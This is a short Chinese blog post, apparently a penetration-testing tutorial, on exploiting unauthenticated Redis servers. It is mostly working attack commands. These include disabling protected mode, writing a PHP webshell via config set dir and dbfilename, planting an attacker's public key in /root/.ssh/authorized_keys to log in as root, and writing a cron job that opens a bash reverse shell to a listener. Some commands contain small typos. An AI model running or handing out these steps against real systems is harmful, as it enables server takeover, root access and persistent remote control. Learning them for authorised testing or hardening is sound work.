redis漏洞

redis未授权访问

分为两种情况   (这里是高版本),低版本不需要考虑

第一种是受害机直接启动redis-server                           redis-server

第二种是受害机以redis.conf文件内容启动redis服务    redis-server /etc/redis/redis.conf.

第一种攻击机启动客户端cmd下输入   redis-cli.exe -h 192.168.159.128,访问成功之后输入info查看信息,(高版本)可能为保护模式,

受害者主机须使用客户端连接本机redis服务输入以下命令(这里关闭一个即可)

修改redis的守护进程为no ,不启用  
127.0.0.1:6379> config set daemonize "no"  
OK  
  
修改redis的保护模式为no,不启用  
127.0.0.1:6379> config set protected-mode "no"  
OK

攻击机输入  info 后可查看信息.

第二种和前面一样但是需要将redis.conf.文件下的  bind 127.0.0.1 ::1   进行注释,不然外连不上

写入webshell 

攻击机上输入以下信息,即可在被攻击者电脑 /var/www/html/文件下生成xxx.php,前提这个文件能解析才有用,换句话说要知道网站路径.

1
2
3
4
config set dir /var/www/html/
config set dbfilename xxx.php
set payload "<?php phpinfo();?>"
save

 公私钥认证获取root权限

攻击机  ssh-keygen -t rsa     #生成公私钥

随后cd 到root/ssh目录下执行命令  (echo -e "\n\n"; cat id_rsapub; echo -e "\n\n")  >1. txt   #将公钥写入到1.txt当中

cat 1.txt | redis-cli -h 192.168.1.1 -x set crack   #将公钥放到靶机redis备份目录下

连接redis服务

CONFIG GET dir  #查看redis备份路径

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)命令config set dir /root/.ssh

设置上传公钥的备份文件名字为authorized_keys: 命令 CONFIG dbfilename authorized_keys

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出 命令:CONFIG GET dbfilename    ,save    ,exit

ssh -i id_rsa root@192.168.1.1  直接连接

反弹shell

攻击机开启监听端口   nc -lvnp 4444

复制代码
redis-cli -h 192.168.0.104

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save
复制代码

 

posted @   Po-Jian  阅读(569)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示